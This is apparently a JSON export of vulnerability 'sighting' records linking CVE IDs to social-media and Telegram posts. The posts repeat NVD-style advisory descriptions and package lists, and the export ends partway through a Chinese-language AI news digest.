the URI template capabilities are unaffected. The vulnerability is patched in version 2.8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-32740\n5.0 MEDIUM\nAn issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-10933\n5.0 MEDIUM\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\ncairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompatible with WebKit\u2019s fastMalloc, leading to an application crash with a \u201cfree(): invalid pointer\u201d error.\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19876\n4.3 MEDIUM\nxcb 1.14\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application\u2019s unrestricted use of the render method and providing a .. (dot dot) in a pathname.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752\n5.0 MEDIUM\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\nIn Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15801\n7.5 HIGH\nIn Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue C[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-0752", "author": {"login": "automation"}}, {"uuid": "e0d0b802-5a4a-430d-a44b-a2bfd89cef9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.397783+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49651", "content": "8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86dgaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\nAddressable is an alternative implementation to the URI implementation that is part of Ruby\u2019s standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2.8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-32740\n5.0 MEDIUM\nAn issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-10933\n5.0 MEDIUM\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\ncairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompatible with WebKit\u2019s fastMalloc, leading to an application crash with a \u201cfree(): invalid pointer\u201d error.\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19876\n4.3 MEDIUM\nxcb 1.14\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application\u2019s unrestricted use of the render method and providing a .. (dot dot) in a pathname.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752\n5.0 MEDIUM\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\nIn Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15801\n7.5 HIGH\nIn Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue C[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-32740", "author": {"login": "automation"}}, {"uuid": "c2d78a67-c321-4337-aace-3a1e8452baa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.348283+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49651", "content": "8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86dgaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\nAddressable is an alternative implementation to the URI implementation that is part of Ruby\u2019s standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2.8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-32740\n5.0 MEDIUM\nAn issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-10933\n5.0 MEDIUM\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\ncairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompatible with WebKit\u2019s fastMalloc, leading to an application crash with a \u201cfree(): invalid pointer\u201d error.\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19876\n4.3 MEDIUM\nxcb 1.14\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application\u2019s unrestricted use of the render method and providing a .. (dot dot) in a pathname.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752\n5.0 MEDIUM\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\nIn Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15801\n7.5 HIGH\nIn Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue C[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-15801", "author": {"login": "automation"}}, {"uuid": "1b8341f5-3dbf-40de-aa1d-aaf77cffcf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.300994+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49651", "content": "8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86dgaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\nAddressable is an alternative implementation to the URI implementation that is part of Ruby\u2019s standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2.8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-32740\n5.0 MEDIUM\nAn issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-10933\n5.0 MEDIUM\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\ncairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompatible with WebKit\u2019s fastMalloc, leading to an application crash with a \u201cfree(): invalid pointer\u201d error.\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19876\n4.3 MEDIUM\nxcb 1.14\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application\u2019s unrestricted use of the render method and providing a .. (dot dot) in a pathname.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752\n5.0 MEDIUM\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\nIn Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15801\n7.5 HIGH\nIn Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue C[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2018-19876", "author": {"login": "automation"}}, {"uuid": "6923475b-e8cb-4d4e-8fcd-e37d8c1032dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:53:43.693230+00:00", "type": "seen", "source": "https://bsky.app/profile/geeknews.mercur.ing/post/3musrrcm7yqf2", "content": "**Chrome, \uc2e4\uc81c \uacf5\uaca9\uc5d0 \uc545\uc6a9\ub41c V8 \ucf54\ub4dc \uc2e4\ud589 \ucde8\uc57d\uc810 \uc218\uc815**\n- Google\uc774 **\uc2e4\uc81c \uacf5\uaca9\uc5d0 \uc545\uc6a9\ub41c V8 \ucde8\uc57d\uc810`CVE-2026-85046`** \uc744 \uc218\uc815\ud55c Chrome \ubcf4\uc548 \uc5c5\ub370\uc774\ud2b8\ub97c \ubc30\ud3ec\ud568\n- \uc870\uc791\ub41c HTML \ud398\uc774\uc9c0\ub97c \ud1b5\ud574 **\ube0c\ub77c\uc6b0\uc800 \uc0cc\ub4dc\ubc15\uc2a4 \ub0b4\ubd80\uc5d0\uc11c \uc784\uc758 \ucf54\ub4dc \uc2e4\ud589** \uc774 \uac00\ub2a5\ud55c \ucde8\uc57d\uc810\n- \uacf5\uaca9 \ubcf5\uc7a1\ub3c4\uac00 \ub0ae\uace0 \uc0ac\uc804 \uad8c\ud55c\ub3c4 \ud544\uc694 \uc5c6\uc9c0\ub9cc \uc0ac\uc6a9\uc790 \uc0c1\ud638\uc791\uc6a9\uc774 \uc694\uad6c\ub418\uba70, **\uae30\ubc00\uc131\u00b7\ubb34\uacb0\uc131\u00b7\uac00\uc6a9\uc131** \uc5d0 \ubaa8\ub450 \ud070 \uc601\ud5a5\uc744 \uc904 \uc218 \uc788\uc74c\n- Chromium \uc2ec\uac01\ub3c4\ub294 **High** , CISA-ADP\uc758 CVSS 3.1 \uc810\uc218\ub294 [\u2026]", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "d94be653-a645-4356-abb6-ae7c7da535c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:34:14.368463+00:00", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3musqomuqt52t", "content": "\ud83e\udd16 CVE-2026-59346 (CVSS 9.3): integer-overflow in VMware Workstation/Fusion lets an elevated local attacker execute arbitrary code on the host OS. Patches available.\n\nhttps://thehackernews.com/2026/09/critical-vmware-workstation-and-fusion.html", "vulnerability": "CVE-2026-59346", "author": {"login": "automation"}}, {"uuid": "5948090a-9b91-454e-9a63-9d2135edf8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:32:10.778976+00:00", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3musqkwmryf2r", "content": "IBM Ships Another Exploit Gift-Wrapped in Enterprise Confidence\nPANIC 64% | Lag 0.0h | IBM Instana Agent Operator versions 1.0.303 through 1.0.323 are affected by CVE-2026-19283, a high-s\n#AfterShockIndex\nREAD MORE", "vulnerability": "CVE-2026-19283", "author": {"login": "automation"}}, {"uuid": "f1c47174-4475-4a48-8416-c80037c83f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:21:19.207218+00:00", "type": "seen", "source": "https://gist.github.com/mightyapa/7c0d734732e1a1a64b372fb22dd71ac7", "content": "# \ud83e\udd16 AI\u9886\u57df\u6bcf\u65e5\u7126\u70b9\u7b80\u62a5\n\n**\u65e5\u671f\uff1a2026\u5e7409\u670806\u65e5**\n\n> \u8bf4\u660e\uff1a\u672c\u65e5\uff089\u67086\u65e5\uff0c\u5468\u65e5\uff09\u5168\u7403\u65e0\u91cd\u5927\u7a81\u53d1\u4e8b\u4ef6\uff1b\u672c\u7b80\u62a5\u8986\u76d6\u6700\u8fd1\u4e00\u4e2a\u65b0\u95fb\u53d1\u5e03\u5468\u671f\uff089\u67083\u65e5\u20146\u65e5\uff09\uff0c\u91cd\u70b9\u805a\u71269\u67084\u65e5\u20145\u65e5\u7684\u589e\u91cf\u4fe1\u606f\uff08GPT-6 Astra \u5206\u6279\u5f00\u653e\u3001Claude \u8d39\u9a6c\u5927\u5b9a\u7406\u5f62\u5f0f\u5316\u8bc1\u660e\u3001Anthropic IPO \u524d\u878d\u8d44\u7b49\uff09\uff0c\u5e76\u4e3a\u6bcf\u6761\u65b0\u95fb\u6807\u6ce8\u65f6\u95f4\u3002\n\n---\n\n## \ud83d\udd25 \u4eca\u65e5\u5934\u6761\n\n**1. OpenAI \u65d7\u8230\u6a21\u578b GPT-6 Astra \u6b63\u5f0f\u4eae\u76f8\u5e76\u5206\u6279\u5f00\u653e\uff1aBrockman \u5ba3\u5e03\"\u6b22\u8fce\u6765\u5230 AGI \u65f6\u4ee3\"**\n\u7f8e\u4e1c\u65f6\u95f49\u67083\u65e5\uff0cOpenAI \u6b63\u5f0f\u53d1\u5e03\u65b0\u4e00\u4ee3\u65d7\u8230\u6a21\u578b GPT-6 Astra\uff08\u8f93\u5165/\u8f93\u51fa\u5b9a\u4ef7 $10/$50 \u6bcf\u767e\u4e07 token\uff0c\u4e0a\u4e0b\u6587 1.05M\uff0c\u6700\u5927\u8f93\u51fa 128K\uff09\uff0c\u5b9a\u4f4d\u4ece\"\u63d0\u4f9b\u7b54\u6848\"\u8f6c\u5411\"\u76f4\u63a5\u64cd\u4f5c\u7535\u8111\u5b8c\u6210\u4efb\u52a1\"\uff0c\u662f\u5176\u6709\u53f2\u4ee5\u6765\u6700\u5927\u89c4\u6a21\u8bad\u7ec3\uff08\u5728\u5f97\u5dde Stargate \u7ad9\u70b9\u52a8\u7528\u8d85 10 \u4e07\u5757 GPU \u9884\u8bad\u7ec3\uff09\uff0c\u5e76\u6210\u4e3a OpenAI \u9996\u4e2a\u8fbe\u5230\"\u7f51\u7edc\u5b89\u5168\u5173\u952e\u7ea7\uff08cyber Critical\uff09\"\u95e8\u69db\u7684\u6a21\u578b\u3002\u603b\u88c1 Greg Brockman \u5728\u53d1\u5e03\u4f1a\u558a\u51fa\"Welcome to the AGI era\"\u30029\u67084\u65e5\u8d77 Astra \u5df2\u5411 Pro\uff08$100/$200 \u6708\u8d39\uff09\u7528\u6237\u5f00\u653e\uff0cPlus/Business/Enterprise \u53ca API\u3001AWS \u5c06\u5728\u968f\u540e\u6570\u65e5\u8ddf\u8fdb\u3002\u53d1\u5e03\u5f53\u5929 ChatGPT\u3001Claude\u3001Grok \u7f55\u89c1\u96c6\u4f53\u5b95\u673a\u7ea6 3 \u5c0f\u65f6 40 \u5206\uff0c\u88ab\u8206\u8bba\u79f0\u4e3a\"LLM \u53f2\u4e0a\u6700\u9ed1\u6697\u4e00\u5929\"\uff0c\u51f8\u663e\u5934\u90e8\u95ed\u6e90\u6a21\u578b\u5bf9\u5e95\u5c42\u7b97\u529b\u4f9b\u5e94\u94fe\u7684\u5355\u70b9\u4f9d\u8d56\u3002\n\n**2. \u82f1\u4f1f\u8fbe 129.3 \u4ebf\u7f8e\u5143\u6536\u8d2d Hugging Face\uff1a\u53f2\u4e0a\u6700\u5927\u624b\u7b14\u62bc\u6ce8\u5f00\u6e90\u751f\u6001**\n9\u67083\u65e5\uff0c\u82f1\u4f1f\u8fbe\u5b98\u5ba3\u4ee5 129.303 \u4ebf\u7f8e\u5143\uff08\u7ea6 119 \u4ebf\u7f8e\u5143\u73b0\u91d1 + \u6700\u9ad8 10 \u4ebf\u7f8e\u5143\u5458\u5de5\u80a1\u6743\u7559\u4efb\u8ba1\u5212\uff09\u6536\u8d2d\u5168\u7403\u6700\u5927\u5f00\u6e90 AI \u5e73\u53f0 Hugging Face\uff0c\u4e3a\u5176\u53f2\u4e0a\u6700\u5927\u5355\u7b14\u6536\u8d2d\uff089\u67082\u65e5\u7b7e\u7f72\u6700\u7ec8\u534f\u8bae\uff0c\u9884\u8ba1 2027 \u5e74\u4e0a\u534a\u5e74\u5b8c\u6210\u4ea4\u5272\uff0c\u4ecd\u9700\u76d1\u7ba1\u6279\u51c6\uff09\u3002\u5e73\u53f0\u62e5\u6709 1800 \u4e07\u5f00\u53d1\u8005\u3001300 \u4e07\u6a21\u578b\u300150 \u4e07\u6570\u636e\u96c6\u300120 \u4e07\u4f01\u4e1a\u5ba2\u6237\uff0c\u5e74\u5316\u6536\u5165\u7ea6 1.5 \u4ebf\u7f8e\u5143\uff08\u5bf9\u5e94\u7ea6 86 \u500d\u5e02\u9500\u7387\uff09\u3002\u9ec4\u4ec1\u52cb\u627f\u8bfa\u5e73\u53f0\u4fdd\u6301\u5f00\u653e\u3001\u5f00\u53d1\u8005\u65e0\u9700\u7ed1\u5b9a\u82f1\u4f1f\u8fbe\u7b97\u529b\uff0c\u8be5\u627f\u8bfa\u5df2\u5199\u5165 SEC \u6587\u4ef6\u3002\u6b64\u4e3e\u88ab\u89e3\u8bfb\u4e3a\u82f1\u4f1f\u8fbe\u5728\u5934\u90e8\u5ba2\u6237\uff08OpenAI\u3001Anthropic\u3001\u8c37\u6b4c\uff09\u7eb7\u7eb7\u81ea\u7814\u82af\u7247\u7684\u80cc\u666f\u4e0b\uff0c\u4ece\"\u5356\u82af\u7247\"\u8f6c\u5411\"\u638c\u63a7\u6a21\u578b\u5206\u53d1\u5165\u53e3\"\u7684\u5173\u952e\u5e03\u5c40\u3002\n\n---\n\n## \u261d Headlines\n\n- **GPT-6 Astra \u5206\u6279\u5f00\u653e**\uff1a\u65d7\u8230\u65b0\u6a21\u578b 9\u67084\u65e5\u8d77\u5411 Pro \u7528\u6237\u63a8\u9001\uff0c\u5ba3\u79f0\u8fdb\u5165 AGI \u65f6\u4ee3\uff0c\u8ba1\u7b97\u673a\u64cd\u4f5c\u80fd\u529b\u8f83\u524d\u4ee3\u63d0\u5347\u8fd1 2 \u500d\n- **\u82f1\u4f1f\u8fbe 129.3 \u4ebf\u7f8e\u5143\u6536\u8d2d Hugging Face**\uff1a\u53f2\u4e0a\u6700\u5927\u6536\u8d2d\uff0c\u9501\u5b9a\u5f00\u6e90\u6a21\u578b\u5206\u53d1\u5165\u53e3\uff0c\u5e73\u53f0\u5f00\u653e\u627f\u8bfa\u5199\u5165 SEC \u6587\u4ef6\n- **\u4e09\u5bb6 AI \u5de8\u5934\u540c\u65e5\u5b95\u673a\u7ea6 4 \u5c0f\u65f6**\uff1aChatGPT/Claude/Grok \u96c6\u4f53\u4e2d\u65ad\uff0c\u66b4\u9732\u5e95\u5c42\u7b97\u529b\u4f9b\u5e94\u94fe\u9ad8\u5ea6\u96c6\u4e2d\u98ce\u9669\n- **Claude 11 \u5929\u5b8c\u6210\u8d39\u9a6c\u5927\u5b9a\u7406\u9996\u4e2a\u7aef\u5230\u7aef\u5f62\u5f0f\u5316\u8bc1\u660e**\uff1a\u751f\u6210\u7ea6 1300 \u4e07\u884c Lean \u4ee3\u7801\u3001\u8fd1 3 \u4e07\u4e2a\u4e2d\u95f4\u5b9a\u7406\uff0c\u4e3a\u8fc4\u4eca\u6700\u5927\u89c4\u6a21\u673a\u5668\u9a8c\u8bc1\u8bc1\u660e\n- **\u5b57\u8282\u8df3\u52a8\u83b7 296 \u4ebf\u7f8e\u5143\u94f6\u56e2\u8d37\u6b3e**\uff1a2026 \u5e74\u4e9a\u6d32\u7b2c\u4e8c\u5927\u7f8e\u5143\u8d37\u6b3e\uff0c\u5229\u7387 SOFR+68bp\uff0c\u4e3a AI \u57fa\u5efa\u50a8\u5907\u5f39\u836f\n- **Anthropic \u6572\u5b9a 150 \u4ebf\u7f8e\u5143 IPO \u524d\u4fe1\u8d37\u989d\u5ea6**\uff1a\u62db\u80a1\u4e66\u9884\u8ba1 9 \u6708\u5e95\u63d0\u4ea4\uff0c\u4f20\u95fb\u4f30\u503c\u770b\u5411 2 \u4e07\u4ebf\u7f8e\u5143\n\n---\n\n## \ud83d\udcca \u5206\u7c7b\u8be6\u62a5\n\n### \ud83e\udde0 \u6a21\u578b\u4e0e\u6280\u672f\n\n**GPT-6 Astra \u6280\u672f\u7ec6\u8282\u4e0e\u5f00\u653e\u8282\u594f\uff089\u67083\u20145\u65e5\uff09**\n- \u5b9a\u4ef7 $10/$50\uff08\u6bcf\u767e\u4e07\u8f93\u5165/\u8f93\u51fa token\uff09\uff0c\u8d85 27.2 \u4e07 token \u7684\u8bf7\u6c42\u6309 2 \u500d\u8f93\u5165/\u7f13\u5b58\u8d39\u7387\u30011.5 \u500d\u8f93\u51fa\u8d39\u7387\u8ba1\u8d39\uff1bBatch/Flex \u4e3a\u6807\u51c6\u4ef7 50%\uff0cFast Mode \u4e3a 2 \u500d\u3002[FACT: OpenAI \u5b98\u7f51]\n- \u8ba1\u7b97\u673a\u4f7f\u7528\uff08computer use\uff09\u5728 ChatGPT \u4e2d\u63d0\u901f\u8fd1 2 \u500d\uff1b\u65b0\u7684 Codex harness \u8ba9 Mind2Web \u4efb\u52a1\u5b8c\u6210\u5feb 1.9 \u500d\uff0charness 